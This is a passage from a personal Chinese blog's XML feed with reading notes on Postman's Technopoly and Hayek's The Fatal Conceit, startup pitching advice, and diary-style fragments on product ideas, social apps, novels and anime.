  • 🌟 抵抗美国技术垄断的人除非知道某个民意调查问的是什么、为什么这么问,否则不会将这个民调结果放在心上;拒绝将效率作为人类关系中最重要的目标;不再迷信数字的魔力,不会将计算视为能够代替判断的方法,不会将准确视为真理的同义词;拒绝让心理学或任何其他 “社会科学”操纵语言和常识性 思维;至少对进步思想心存疑虑,能够区别 “信息 ”和 “理解 ”的不同;不会认为年长者已经是无关紧要的人;重视家庭忠诚和荣誉的意义,当他们 “伸手接触到某人 ” 的时候,希望那个人就在同一个房间里;认真对待宗教故事,不相信科学是能够创造真理的唯一思 想体系;知道宗教和世俗之间的区别,不会为了现代而漠视传统;敬佩技术的创造力,但不认为它代表了人类成就可能出现 的最高形式。
  • +
  • 🌟 抗争斗士很清楚,永远不能将技术作为事物自然法则的一部分。不管是智商测试、汽车、电视机还是计算机,所有技术都只是某一特定经济和政治背景下的产物,都带着某种计划、日程和哲学,也许能够提升生活品质,也许不能,因此需要监督、批评和控制。简而言之,技术抗争斗士会在方法论和精神上与任何技术保持一定距离,因而在他们看来,技术总是显得有些陌生、从来都不是必然的、也从来不是自然的。
    +

    为什么教育很重要。

    +

    教育在帮助一个人抵抗他熟悉之物的刻板印象。很多时候我们的刻板印象不仅仅来自于我们不理解的、陌生的东西,还有那些我们无比熟悉的东西。

    +
    +
  • +
  • 考虑到技术垄断的分裂力量,学校能够为年轻一代的教育做出的最 重要贡献,或许是带给他们学习过程中的连贯性、目标感、意义以及所 学知识之间的联系。
  • +
  • 换言之,这是技术统治论者的理想状态——没有信仰和观点的人,有的只是各种可以出售的技能。
  • +
  • 人文:人类在克服孤独、愚昧与混乱的过程中所表现出来的创造力。波兹曼认为教育的主体应当是“人文的上升”。
  • +
  • 为什么历史很重要:“如果对你出生前发生之事始终一无所知的话,那你永远都只是个孩子。”历史告诉我们,这个世界并不是一蹴而就的,我们每个人都站在其他人的肩膀之上。而某种程度上,“历史”这个名字是有误导性的。历史都带着某种特定的目的。确定的历史是不存在的,存在的只是各种各样的历史。
  • +
  • 自省:为什么我会相信这些思想。知道你所生活的世界从何而来,而不只是你的家庭根源。
  • +
  • 为什么我们会期待,美可以毫不费力地得到。并非所有值得付出努力的事情都是马上就能被理解的。感受美、鉴赏美的能力,同样需要训练。
  • +
  • 波兹曼有意识地给出了他的解决方案,这是难能可贵的。一是去了解技术的历史。理解人类是如何通过创造技术来定义人类自己的命运,克服生理学的结果当作宿命,比如自行车、眼睛的发明。二是去了解宗教。去探索人类存在意义的回答,那些富有创造力的故事和角度。而所有课程设置的目的都是为了“回归基础”。他并不幻想这样一个教育计划能让技术停止快速发展,但这也许有助于开始并维持一场认真的对话,允许我们与那个思维世界保持一定距离、提出批评意见并改变这个世界。
  • +
  • 🌟 为什么说要减少花费在八卦新闻、娱乐视频上的时间。因为这些事物是没有原因的也不可反驳的。他们的存在就是为了被忘记。
  • +
+]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[如何向投资人讲好一个故事]]> + + http://chocoluffy.com/2019/03/06/如何向投资人讲好一个故事/ + 2019-03-07T02:05:45.000Z + 2019-09-21T14:30:39.244Z + 如何讲好一个故事
    +
  • 不一定要追求形式,比如要讲market, why now, validation, demo等等,而是以flow流畅地串联起来。记住一定不要讲core tech。目的是,如果最终audience提问的时候问:”你们这个是怎么做的?“,对你的tech感兴趣了,就说明你的story是成功的。
  • +
  • 对待不同的人,会讲不同的故事。比如对于投资人来说,最重要的永远是market和product。对待客户来说,最重要的是你到底能够帮助我解决一个怎样的问题,可以带给他多大的利益。
  • +
  • 记得提到:why us the best team for this?
  • +
  • 对于成熟的投资人,讲好了market和product,他们有能力帮你脑补出你的商业模式。
  • +
  • 要对这个行业滚瓜烂熟。很多时候投资人投资你,是在投资你对这个市场的判断比他好。
  • +
  • 从大到小讲产品是不好的,而是应该从小到大。投资人在意的是你的future state。有些队伍喜欢通过从一个大市场切入然后不断不断地细分到最后一块小市场说这个是我们的聚焦点。逻辑反了,应当是从这个是我们的切入点,到这个是我们能够不断覆盖的市场。
  • +
  • 不应当通过列举competitor来证明自己。
  • +
  • 每一次demo的时候,第二张slide里应该放的是对于这个team来说最独特的东西。比如这个team最独特,成功的地方在于他们的traction,比如classpass这个例子里面,一张side by side的图表,左边是两年前的几项关键数据,右边是现在的关键数据,证明自己的growth。或者这个team最独特的地方在于他们的成员。或者说是他们的产品demo等。
  • +
+

tricky questions

    +
  • 最经典的还是paul graham的5s倒计时马上回答:YC interview question mock online
  • +
  • who is the first to fire?团队默契。
  • +
  • what other idea you think?观察创始人会多快忘记这个想法。
  • +
  • how many rounds in next 5 years and how big?创始人的计划。
  • +
+

和投资人交涉的注意事项

    +
  • cold email。让他们需要做的部分最少、最简单化。
  • +
  • 呈现自己做了extra work。一个提到的例子是,一个团队在回复是否接受这个投资人的投资的时候,他们去向该投资人曾经投过的项目联系并且询问经历,最后呈现说“7 out of 10,他们认为你是最棒的…”
  • +
  • 周日晚、周二早上是最好的发邮件联系的时机。
  • +
+

观察

仔细观察这些投资人在针对一个特定创业项目时候的切入点。

+
    +
  • 对于medical startup(health tech)来说,最重要的问题往往出自credibility以及false positive或者false negative。
      +
    • credibility,是两端的信任问题。消费者是否接受这个诊断流程,以及当这些公司说要和医生端打通的时候,doctor:“we don’t care.”
    • +
    • false positive,消费者盲目乐观,错过了最佳治疗时期。
    • +
    • false negative,心理影响以及额外的治疗费用。
      +

      按照这个逻辑,目前大部分关于医疗创业项目的核心想法在于,democratize the diagnosis routine. 处于诊断后期的复诊和反馈的创业项目仍居多。对于涉及到医疗器械甚至医护资源的想法,没有强有力官方关系的介入外人很难撬动。

      +
      +
    • +
    +
  • +
+]]>
+ + + + + + + + + + + +
+ + + <![CDATA[不依赖理性而获得希望 -《致命的自负》阅读批注]]> + + http://chocoluffy.com/2019/02/28/不依赖理性而获得希望-《致命的自负》阅读批注/ + 2019-03-01T01:44:54.000Z + 2019-09-21T14:30:39.244Z + +
  • 哈耶克的思想很大程度上是对于两次世界大战,以及德国纳粹历史的反馈。
  • +
  • 哈耶克反对的重点不在于意识形态,或者说社会主义是否在道德上可取,而是他是从“效应”的角度入手的,他认为社会主义所倡导的办法不能够达到目标。
  • +
  • “秩序”。也是Vitalik很感兴趣的方面。组织在没有像德国纳粹那样的人物出现时为什么会崩溃,又是如何自发组织起来的。哈耶克一定很赞同这一句话,“不依赖理性而获得希望”。某种意义上,哈耶克是不赞同“理性的设计”的。不赞同是因为根本达不到所谓“绝对的理性”,只没有办法从一开始就设计出最完美的规则能够有效利用到所有信息的,但是可以通过设计规则来达到鼓励人们去交换并利用流通的信息。
  • +
  • “拓展秩序”:处于本能和理性之间的,通过学习和模仿而形成的遵守规则的行为模式。合作的特点是:人们相互获益,并不是因为他们理解了这种秩序,而是因为他们在相互交往中刻意用这些规则来弥补自己的无知。
    +

    这可以追溯到大卫休谟:“为别人提供服务,这无需他怀有真诚的善意。“

    +
    +
  • +
  • 而计划经济,的确可能存在和谐状态,但是这种和谐是有前提的,这是以个人既无财产、特殊知识也得不到利用为前提。它是以停滞不前为代价的。
    +

    规则和秩序的关系,就像docker的image和container。

    +

    我也想到了1月份在以色列参观的Kibbutz。
    另一个想法。像社会主义,自由主义,这些词都有极大的空隙,是有很多调整的空间的。以色列的Kibbutz很像我们曾经的合作公社。但是有一个区别是,后来Kibbutz慢慢演化出来直到现在的规则是,生产资料公有,但是获利是按劳分配。而我们曾经的合作公社则都是公有和计划分配。这同样和“规模”是有联系的。
    以色列一行给我的一个很深的印象是:“规模”。

    +
    +
  • +
  • 哈耶克:不知道的也是不能计划的。
    +

    我为什么会喜欢这个论断,因为它超出了对人性的假设和预期。”人性本恶“还是”人性本善“在这个逻辑里是不重要的。就算“人性本善”也不一定能够达成更好的平衡,而“人性本恶”也不一定会导致腐败。关键仍然在于哪个规则、秩序更有利于信息信号的传播和反馈。

    +

    这个论断是敏感的,因为很多人容易因为这个逻辑并不劝人向善,因为好像作恶也没有关系。但实际上,它恰恰指出了道德的软肋:我们希求善良、道德,但仅仅只有良好的愿望是不够的。

    +
    +
  • +
  • 哈耶克:为了保障自由,“用抽象的规则代替共同的具体目标”。
  • +
  • 哈耶克的论断只要集中对于近代的资本主义社会,它强调的是这一类秩序是自发形成的。没有解释原因,因而部分忽略了人类理性的作用,以及有某种“必然”演化的成分。
  • + +]]>
    + + + + + + + + + + + + + + + +
    + + + <![CDATA[碎语 2019 Feb.]]> + + http://chocoluffy.com/2019/02/28/碎语-2019-Feb/ + 2019-03-01T01:11:01.000Z + 2019-09-21T14:30:39.248Z + 2019-02-28
      +
    • 近期有空可以研究的主题:

      +
        +
      • p2p + 贷款利息
      • +
      • ripple;
      • +
      • firis 现在遇到的法律上问题的解决方案:
          +
        • snippet, how short to not be counted as infringement.
        • +
        • derivative work, how much degree of freedom.
        • +
        +
      • +
      +
    • +
    • 研究一下微信运动的模式。一起做。

      +
    • +
    • 创建一个更强大的workflow:

      +
        +
      • inoreader的web extension save webpage,然后订阅这个save到Reeder。
      • +
      • inoreader的一个好处是,大部分Feed归档、分类都是可以以feed的形式再次导出的。
      • +
      +
    • +
    +

    2019-02-27

      +
    • ripple: gateway,market maker,核心在于完成交换货币这件事和XRP的价值是没有绝对关系的。很妙的一个设计:利用人们逐利的心理使得虚拟路径无限逼近真实市场路径。缺点,gateway本身扮演market maker。
    • +
    • 吃饭的时候聊天内容的质量与参与人数成反比。
    • +
    • 尝试去寻找下一个bitcoin、ripple。
    • +
    • 可以尝试每天早上在bear里固定一个专栏+模版,来制定今日的计划。然后每个任务开始的时候来计时。
    • +
    +

    2019-02-25

      +
    • Lollapalooza:跨学科多种因素共振造成的合力结果。
    • +
    • Jessie Frazelle’s Blog 博客里介绍了很多关于Docker和Linux的hack,以及高度自动化的Docker实践。我也喜欢将自己的workflow高度自动化,但仍主要偏应用层。作为开发者也希望能够在底层以实现更多的自由度,向她学习。
    • +
    +

    2019-02-24

      +
    • 为了让你们更近一些,我决定向后跑。
    • +
    • 【未来】匹配。关于游戏的两个美好遐想:(1)游戏、广告往电影的体验演化。(2)游戏内容匹配生活。众包,其实是在解决一个实际场景的问题。参考recaptcha。
    • +
    +

    2019-02-23

      +
    • 近几年所谓的“金融创新”:资金池 + 时间差。
    • +
    +

    2019-02-22

    堂吉柯德

      +
    • 他其实把自己心中很多善恶的标准都投射到了生活里。模仿书中读到的骑士的故事。以悲剧复现悲剧。即便是被欺负了,依然能够自我说服到是一个游侠骑士应当经历的,而变得十分欣然。
    • +
    • 我真的很疑惑,为什么推崇如此夸张的理想主义?有什么用呢?自我陶醉?
    • +
    • 反差很大的是,堂吉柯德对骑士道的起源、发展记得非常清楚,他自己提到的,”这个世道变坏了,需要骑士来保护弱小的人。“,同时,他也告诫自己做好了受苦的准备,风餐露宿是没有关系的。他把风车当作巨人而一路冲锋过去,把过路马车里的女客人当作是被绑架的公主而和车夫发起争执,甚至达到了需要你死我活的决斗的境地,每一次经历了所谓的惩恶扬善之后都命令战败的人去幻想的公主身旁复述自己的丰功伟绩,他也那么相信每一个游侠骑士内心都有着一个绝境时得以述说的公主…
      按照这个描写的度来说,其实他已经稍稍妨碍到了别人的生活了,为什么作者塞万提斯要这么设计呢?
    • +
    • 桑乔是世俗的,大腹便便,没有收到教育,一直因为封爵的幻想而追随着堂吉柯德。(突然又不想给我未来第二只猫命名为桑乔了…)
    • +
    +

    加缪

      +
    • 在我们身上保有反抗的力量,又不放任我们否定的能力。形成的悲剧敏感性,就将发展起来,找到它的表达方式。
    • +
    +

    哈耶克大全集 - 《致命的自负》

    哈耶克对秩序的理解,超出了对人性感性的假设以及理性的局限。完美的理性设计是不存在的,而道德的软肋,我们那些希求善良、道德的美好愿望也是不够的。理解哈耶克的关键在于,他想要设计一种规则:人们在其中相互获益,并不是因为他们理解了这种秩序,而是因为他们在相互交往中刻意用这些规则来弥补自己的无知。

    +
    +

    🌟我为什么会喜欢这个论断,因为它超出了对人性的假设和预期。”人性本恶“还是”人性本善“在这个逻辑里是不重要的。就算“人性本善”也不一定能够达成更好的平衡,而“人性本恶”也不一定会导致腐败。关键仍然在于哪个规则、秩序更有利于信息信号的传播和反馈。

    +

    这个论断是敏感的,因为很多人容易因为这个逻辑并不劝人向善,因为好像作恶也没有关系。但实际上,它恰恰指出了道德的软肋:我们希求善良、道德,但仅仅只有良好的愿望是不够的。

    +
    +

    完整博文:不依赖理性而获得希望-《致命的自负》阅读批注

    +
      +
    • 吃早餐的时候想到。以后公司开年会可以讲这样的一个故事。自助餐的盘子。准备一大一小的盘子。而后大盘子的人会不会更容易浪费食物。周围会有很多的人给我们提来不同的盘子,估值,融资,股价,但只有我们自己清楚我们到底能够消化多少,我们能够撑得起多少。问题从来都不是出在最终多少食物被浪费了,关键的问题在于我们错误地估计了多少,以及我们认为浪费无所谓而松懈的心态。
    • +
    +

    2019-02-21

      +
    • “骑士精神极为强调尊重对手” 赢得不是优越感,而是光明正大的战斗。
    • +
    • 那些我经常写下的,是祈祷,还是审判。
    • +
    +

    19-2-19 startup studio的反馈

      +
    • 关于pitch。始终在于如何讲好一个故事。关于Flow的问题。最后希望达到的效果是,如果audience会回应“how do you do that?”, 你就成功了。
    • +
    • 面对不同的人,有不同的动机,就有不同的表达。
    • +
    • 以及关于Health Tech的理解。medical startup: -problem of credibility-。

      +
    • +
    • 【剧本】关于耶路撒冷,或许只是我们的时代没有这些残酷的选择。而极端是,他操控了我们所有的故事。

      +
    • +
    • 思考微博和Twitter的演变。
    • +
    • 广告的本质是:影响力的交接。
    • +
    • 写一个荒谬却无动于衷的故事:受害者与破坏者享受相互伤害的过程。
    • +
    • 当你让数据做决策的时候,很多决策的可解释性反而降低了。
    • +
    • 人们为什么想看日出?看世界慢慢附上颜色。
      +

      [19.2.21更新]人们希望以一个不常有的形式冲击自己,像用冷水醒酒一样。人们对景色的新奇和期待远远超过了对自己内心的反照。

      +
      +
    • +
    +
    +

    朋友圈是一个精致社交的地方。但无论是“看一看”还是“时刻视频”也好,都还没有真正解决张小龙希望解决的问题,就是”真实“。只要最终依旧有强提醒,最终依旧会曝光给好友看。虽然他最新改版的slogan是正确的:“因你看见,所以存在”。但是实际上并没有真正做到。
    [19.2.21更新] (1) 一个相反的事实观察是:当微信更新后给时刻视频新的入口“你的新好友动态”之后,朋友发时刻视频的频率反而提高了。 (2) 另一个观点是,“一定会曝光给好友看”不一定是坏事。关于自己生活动态的曝光,对发布者来说主要分两种目的,一种是刻意树立、维护自己形象,另一种是随意的分享一些情绪,观点。

    +

    一种改进是,默认发送给“最近互动的人”,后台记录了朋友圈里相互互动的人,然后发送时刻视频的时候,有一个选项是只发给互动的人。

    +

    管理“群组可见”的最大的坏处是,对自己反馈。这是一种很负面的反馈,用户会讨厌一个分组的自己,斤斤计较身份,带有目的性的自己。从工具本身削弱社交的目的性。比如微信时刻视频不提供任何滤镜。

    +

    快手可以比微信更加真实的原因就在于陌生人的关系。就像微博的我比微信的我更加的真实。
    熟人:形象image。因为和我们生活的其他方面有交集。我们的形象是破碎而不连续的。而维持多面的形象非常费力。问题不出在熟人,而是出在交集。当多层社会关系出现交集的时候,就像在一席大桌饭宴上,你的态度是由你其中最严肃的社会关系所决定的
    陌生人:名声reputation。能够持续的维护同一个形象而形成名声。没有交集的焦虑。

    +
    +
      +
    • “人并没有用视频记录自己生活的需求,看看自己手机里拍过多少视频就知道了,即使拍再多的照片也不会看,但是人有渴望交流的需求。”,张小龙在演讲时曾提到。
      +

      用视频拍摄,其实不是为了记录,而是为了交流。快手实际上做到的是成为那一大部分人和外界交流的工具。而这在很多时候,是很多企业不屑于做的。

      +
      +
    • +
    +

    2019-02-20

      +
    • 还是要逼着自己去输出!很多时候无意聊天的话题,可以很有启发。
      +

      很多互联网的创业项目,都是努力成为一个漏斗状结构的中间窄口。
      只要存在瓶颈。就存在借助兼并而扩大话语权。而现代互联网企业就是通过两端的兼并,最终掌控这个领域资源匹配的话语权,而成为新的瓶颈或者平台。

      +
      +
    • +
    +

    2019-02-19

      +
    • bark 浏览器推送到iphone,很适合给惊喜~
    • +
    +

    海贼王

      +
    • 乌索普:我只希望这还是谎言啊。我只是在说谎,明天早上醒来村民大家还是会迎来新的一天。
    • +
    • 乔巴: 我是一只天生就是蓝色鼻子的驯鹿。我是怪物。
    • +
    • 医治这个国家的,是人心 ,是漫天的樱花🌸。
    • +
    • 弗兰奇建造的战船让师傅汤姆受了伤。船匠汤姆:不管建造什么样的船,都没有善恶之分,创造那艘船的人必须爱着它。 男人就要响当当得面对自己所造的船。
    • +
    • 罗宾:我只想知道这个世界的历史。冰山:如果对这个世界的好奇心会带来这个世界的毁灭的话就应该停止。罗宾:我只是为了草帽团。
      存在本身并不能成为罪恶。
    • +
    +

    2019-02-18

      +
    • 讽刺久了,会成为讽刺本身。

      +
    • +
    • 18年直播分成后的收入150亿往上 可以奔着200亿算 广告刚起步 19年奔着100亿。最主要的 快手支出少 不像抖音 买量全年百亿级。

      +
      +

      商业化是重点。

      +
      +
    • +
    +

    2019-02-17

      +
    • 【软件】收集优秀的stack overflow的回答。
    • +
    • 你的眼神,像蝴蝶飘落。
    • +
    • “每一个人,身上都拖着一个世界,由他所见过,爱过的一切所组成的世界。”
    • +
    +

    2019-02-16

      +
    • 做一个自拍分析皮肤状态的app,拿到了手机用户自拍。或者这么说,为了拿到用户的自拍画像,去做一个自拍分析皮肤状态的app。后者的逻辑比前者更有投资价值。
    • +
    • 研究一下notion+bear的组合。
    • +
    • 刺青、高跟鞋、门前的草坪。是同一样东西。
    • +
    • reddef originals加rss
    • +
    • 【商业观察】直播系统企业定制化;一对一直播;拍卖直播权。只有成交的人需要付金额。

      +
    • +
    • 从其他软件切回微信,像回家一样。

      +
    • +
    • 用视频记录自己,究竟是不是一个需求?需求是不会变的。但工具会改变门槛,需求会改变形式。
    • +
    +

    对快手的用户来说,用段视频、直播记录自己的生活承载了他们社交的需求。但是抖音并不具备这个特性。抖音是城里人的一个娱乐工具,只要出现更新奇的刺激人们就会转移阵地。

    +

    而微信做时刻视频。也不是为了娱乐消费,而是为了分享生活。重点也不在于人(连基础的滤镜也没有)。

    +
      +
    • 找机会总结sprint1的问题。从笔记里提炼。
    • +
    +

    19.2.15

    原来这就是成长。

    +

    原来我\你的每一句话,都有着我\你一路以来的教养。这就是为什么和我现在的队友沟通是那么舒服。

    +

    你可以专断,但是你得有服众的能力。

    +
      +
    • 总结sprint1。总结整个准备过程中的冲突和感受。
    • +
    +

    关于协作能力。要服众。我一直以来都是小作品的单打独斗,只需要从好朋友里面找到最好的设计师以及最好的产品经理。但是未来对于想做到的更大的事来说,这是远远不够的。

    +

    max很会照顾人的情绪。他知道这个人的动机是什么,然后从他的角度给一个台阶下。甚至在其中不惜把自己的形象也揉碎。

    +

    其中关于是否要让所有成员都展示的话题。真心是要仔细想,到底是为了什么。路飞是这么想的,伙伴比梦想重要。仔细权衡哪个是更重要的。让每一个人都有参与感,还是一个展示甚至最后还不算分数!

    +
    +

    【海贼王】里面索隆的变化。
    一开始他是这么对路飞说的,我可以和你一起航海,但是如果你妨碍了我成为最厉害的剑豪,我会斩了你。而当他遇到鹰眼的时候要决斗,拼上了性命的那种的时候,路飞并没有拒绝、干涉他。
    到后来熊的出现,他要承受路飞受到的伤害,他说,如果连伙伴都保护不了的话,还当什么剑豪呢。

    +
    +
      +
    • 毛选一开始,分清楚哪些是朋友,哪些是敌人。妈妈也这么说了,要协调好关系,使得哪怕是一个不起眼的人物,都对你心服口服。

      +
        +
      • 《毛选》
      • +
      • 《我的奋斗》希特勒的自传
      • +
      +
    • +
    • 一开始市场一定是越细分越好。max能够在一开始定位到电影、影视这个市场是对的。

      +
    • +
    +

    19.2.12

      +
    • closed-form solution: 解析解。很多时候loss function不是closed form的,也就是没有解析解。所以会用到gradient descent。

      +
    • +
    • 室友说,很多群其实都是replica,不如建成slack的channel。有点意思,比如羽毛球群和游戏王群就很适合作为channel。微信的群,主动权在参与的人;而slack的channel,主动权在所有人。

      +
    • +
    • 还是说,很多时候我在享受一种你把我当作朋友而我不把你当作朋友的高贵快感。我需要这么证明我的存在嘛。

      +
    • +
    +

    2019-02-11

      +
    • 可以通过dense pose estimation的点之间的角度来设置trigger!

      +
    • +
    • 逆向工程这个questo,#1 product hunt。重点在于OCR + quiz generation。generation的逻辑是,关键词detection以及一些关键数据的parse。思路其实很简单:

      +
        +
      • 比如数字。然后转换为问题”why…”
      • +
      • 比如easy\difficult\best\worst。然后问题就可以转换为“为什么easy\difficult…”
      • +
      +
    • +
    +

    19.2.10

      +
    • 【产品设计】关于评分网站的设计。

      +
      +

      缘由:1. 你希望扳回大多数人的观点。2. 刻意造谣。

      +
        +
      • 你只能看到和你相似的一拨人的观点和评分。
      • +
      • 然后将另外一波人的观点也呈现出来,开放非匿名的场合进行辩论。
      • +
      +
      +
    • +
    • 很多时候我不自主地笑,都是因为我想起了家里人。尤其是妈妈。

      +
    • +
    • 有一些情绪可能会有帮助。比如,抵抗的情绪。为什么要专注在一件事上面。有一些脑洞,可能我自己也无法说服我自己。如果我只有7秒的记忆,我一定要做一件10秒的事。因为等我忘记了一切我还可以通过手头的事想起来。

      +
    • +
    +

    19.2.8

      +
    • 改名叫 inplay。
    • +
    • 【公司管理】及时给伙伴反馈!!哪怕简单地就是“已读”。学习max的做法。
    • +
    • 产品UX借鉴anchor!!!

      +
    • +
    • 分析一部小说作品的一个角度,去观察哪个主角死去了,这往往意味着那个主角所代表的想法的妥协。

      +
    • +
    • 讽刺。他们来到陌生的地方,然后做着熟悉的事。

      +
    • +
    • 美学概念,在社会背景下,更像是一种奖惩制度。

      +
      +

      奖惩制度,也就是演化为一种标准。而不是一种感受。人们越来越擅长赞扬一个人的审美品味,这种抬高或许和赞扬本身无关,而和集体性有关,而在另一端,会不会有人因为个人的感受却受到惩罚?

      +

      社会群体有一个特质,会把很多个人感受抬高成为一种绝对标准。这里面摧毁了很多东西,妥协了很多东西。

      +

      个体坚持理性,知道什么时候应该刹车,说出“it is evil”这句话。

      +
      +
    • +
    +

    19.2.7

      +
    • 你扶着扶手,我扶着你。
    • +
    • 巴菲特在他的传记里最重要的一个概念是compound,复利。要专注。选出自己的前20个目标,然后选出最重要的前5个,之后就只专注在那5个目标的追逐上面。
    • +
    +

    19.2.6

    《火星编年史》

      +
    • 你犹豫了。于是你的身上,有了我的影子。于是我心软了。你可以在现在杀了我,不过我很清楚,你终于会成为我。
    • +
    • 英雄死了。不是因为这个世界不再需要英雄了。而是这个世界已经没有那么大那么难,来需要英雄来拯救了。现在,破坏世界、拯救世界的按钮在每一个人的手里。
    • +
    • 大一的时候打过的一场记忆最深刻的辩论。政府是否应该支持人们移居到另一个星球?其中最佳辩手的论据是。正方,应该移居。为了去见证重新开始。为了那份孤寂。为了更好地去理解地球。
    • +
    • 雷布拉德伯里的小说,真是太适合拍电影了。好莱坞那种。
    • +
    • 雨。像破碎的玻璃。
    • +
    • 这是我看雷布拉德伯里的第三本书,继《华氏451》和《蒲公英醇夏》。他真的是一个很天真的人。天真不是指他的性格,而是他想要做到的事,就是那么清晰地展现在读者面前。都是些很简单的梦想。书,童年。然后到这本书的主题,地球和战争。想象力是指技巧嘛,不只是的,也是一种理解,想传递存在着的另一种理解。这份理解曾经只被少数人拥有,现在走近了更多人的共鸣。
    • +
    • 时间,是什么味道?像烟味。时间有声音吗,会不会很像钟乳石尖上滴落的水滴的回声,像地铁里错落有致的金属碰撞的声音,还是像一场夏天降临在石板的雨。
    • +
    • 【灵感】可以以后这么写小说。以时间作为章节,然后把平时的故事转化为小说情节。每个章节,写的都是那些我望着地球时发生的故事。
    • +
    • 小说里还有致敬《华氏451》消防员的彩蛋。
    • +
    • 对比:
        +
      • 黑人们的逃离。却把物体安置得整整齐齐。
      • +
      • 道德委员会的抵达。爱伦坡的厄舍古屋。
      • +
      +
    • +
    • 你的脸,每个人都叫的出一个古老的名字。
    • +
    • 他们在火星仰头看着天空中的那个绿点,就像当初在地球上仰望着火星一样。
    • +
    • 讽刺。他们来到陌生的地方,然后做着熟悉的事。

      +
    • +
    • 买单的时候负责结账的小哥哥,他在闲暇的时候在很专心的画漫画。

      +
    • +
    • 纸张,被阳光照得透明。

      +
    • +
    • 【推荐系统】复习一下很有用的概念

      +
        +
      • SVD以及其变式
      • +
      • PLRS,看看如果用Ridge Regression效果怎么样。
      • +
      • skip-gram, everything into embedding.
      • +
      • 理解maximum likelihood and logistic regression。
      • +
      +
    • +
    +
      +
    • 【商业观察】为什么依赖算法分发。这是主动权的一个迁移。作为平台本身,我希望能够掌控所有的话语权。因为我的上游和下游越接近,我的价值就越会被削弱。这个也是中介存在的意义。
      “Arcade City 的创建本身就基于两个基本原则。:允许司机制定自己的费率,并允许他们建立和维护自己的经常性客户群;这两个原则都是Uber在其服务条款中明确禁止的。”
    • +
    +

    19.2.5

    +

    19.2.4

      +
    • paprika 《未麻的部屋》
    • +
    • Detroit: become humen
    • +
    • 每一个产品经理都应该读:《游戏设计艺术》
    • +
    +

    19.2.1

      +
    • 其实每一滴雨,都是来自外太空的雪沫。
    • +
    • 疯狂,是一种保护机制。它以牺牲自我的方法,不让任何人进入、打断自己的思绪。
    • +
    +

    google cocktail party sound problem

      +
    • unsupervised
    • +
    • visual with sound
    • +
    • consecutive frame with CNN(facenet),sound by spectrogram

      +
    • +
    • 复习一下PLRS。

      +
    • +
    • 【公司管理】在亚马逊内部,鼓励员工提出创新项目的同时,会要求员工写一封邮件,邮件内将包含两大部分- 一篇新闻稿,以及大约6页的常见Q&A备忘录。

      +
    • +
    • 关于微信看一看,是否改变了我的行为动机。我其实只是想要一个地方,你不必一定看到就行了。我不会太在意是熟人还是陌生人的圈子。

      +
    • +
    • 一个观察,需要验证是否正确。在抖音引入了微信的好友关系之后,发布的频次会下降。kill-time本身是一类逃避的行为,社交关系在这个背景里面是一种约束。
    • +
    +]]>
    + + + + + + + + + + + + + + + + + + + +
    + + + <![CDATA[碎语 2019 Jan.]]> + + http://chocoluffy.com/2019/02/21/碎语-2019-Jan/ + 2019-02-22T00:43:23.000Z + 2019-09-21T14:30:39.248Z + 特别充实的一个月呢。

    +

    写下了过去一年的总结,像把手伸向夜空里的星星一样,我向着心里面打捞着微光闪烁。算是厘清楚了,我所追逐的自由的背面,不是束缚,曾经我以为是彷徨,当时的我觉得是媚俗。而再过去一个月,现在的我还想增加一个选项。比媚俗更可怕的,是基于媚俗的优越感。

    +

    我也第一次踏上了去以色列的旅途。边境,沙漠,集中营。如果不是学校组织,我自己恐怕是没这个勇气和胆识来这么多地方的。喜欢一种被陌生击碎的新奇感觉,却也熟知故事都是押韵的。一路上也捕获了很多灵感,特别是我未来第二和第三只猫的名字,我想叫你们Sancho和Dolorosa呢。而我遇见的最美的名字还是这座城市特拉维夫(Tel Aviv),翻译过来是,被石头堆叠起来的春天。我想,这就是文明(Civilization)的意思吧,带着人类最大的骄傲。

    +

    又开始了新的一轮项目开发和路演,也是我最享受的事。

    +

    我送给自己的成人礼:堂吉柯德。2019年,如果有什么书是你一定要看的话。加油!

    +

    19.1.30

      +
    • 一个大概60多岁的爷爷在弹钢琴,《真心英雄》。他时不时地抬起头看着摄像头。3天前的视频,当时有93条评论。
    • +
    +

    真实还是刻意。真实是很柔软的,我就是这样的了,你看这是我所有的软肋了,你还会嘲笑我吗。刻意,是很坚硬的东西。起源是不信任吧,我不相信如果我展现了真实的自己,你还能留在我身边,一开始就已经是挽留的姿态了。我就静静地在这里诉说,迎接着你。

    +

    张小龙在做微信公众号的时候提到过,他假想的场景是:一个盲人按摩师在这上面可以服务到更多的人,只有认可的人才会关注的,”再小的个体都能做出自己的品牌“。当我想到快手。我想到的是这个场景。

    +

    19.1.29

    startup studio

    interactive content\
    extended trailor, opening end with unlock another outcome.
    我们会聚焦在中小型的电影的宣传分发。

    +
    +

    在分发上,海尔兄弟、黄渤是如何利用快手进行分发的?
    我们的优势就是可以玩起来!
    怎么玩?
    贴脸?还是直接整个人放进场景里?

    +
    +
      +
    • 去录音每一次startup studio。
    • +
    • your strength, your context.
    • +
    • 两边队伍每一边分别选择人来阐述product narrative。
    • +
    • 只有一个数字。
    • +
    • what -benefit-?free money?
    • +
    • 不要放任何大的概念。不要放任何技术的词汇。
    • +
    • 关于如何去讲一个故事,去观察乔布斯!
    • +
    • 我的pitch的反馈。观众听到了一个”interactive movie trailer”,但是这个究竟是什么我没有解释清楚。
      +

      关键是我自己还没有想清楚我究竟要的是什么。

      +
      +
    • +
    • max提到了关键的一点:票房预售。

      +
    • +
    • anonymous = pseudonymous + unlinkable, bitcoin: pseudonymous + linkable。

      +
    • +
    • 一个好名字: two-hop ventures。只需要两次连接就可以接触网络里所有的node,这是一个极度中心化的结构。
    • +
    +

    19.1.27

      +
    • 创始人一定要放权。让idea boom。

      +
    • +
    • “后视镜”是麦克卢汉一个重要的思想工具,也是莱文森非常喜欢的一个观点。“我们透过后视镜看现在。我们倒退走步入未来。”

      +
      +

      哈耶克的“园丁”隐喻;加缪的“贫穷与阳光”。

      +
      +
    • +
    • pocket稍后阅读和youtube的稍后观看。分析用户行为。

      +
    • +
    • 食堂的新机制有点像Quadratic Voting。选择同样的食物会花费更大的成本,偏向选择多样不重复的食物。在QV里投票给同一个候选人需要花费更多的成本。
    • +
    +

    19.1.26

      +
    • 基于graph的word2vec。人为创造连接。

      +
    • +
    • 推荐存在的次序问题。

      +
    • +
    • 一个camera,将一个人实时的移出屏幕。视频内不再出现这个人。

      +
      +

      【想法】一副眼镜。免费的,甚至可以赚钱。代价是视野中的平面会出现广告。在你选择屏蔽广告的时候收钱。

      +
      +
    • +
    • 在多人场景里可以过滤特定人物的声音,保留特定人物的声音

      +
    • +
    • voiceit
        +
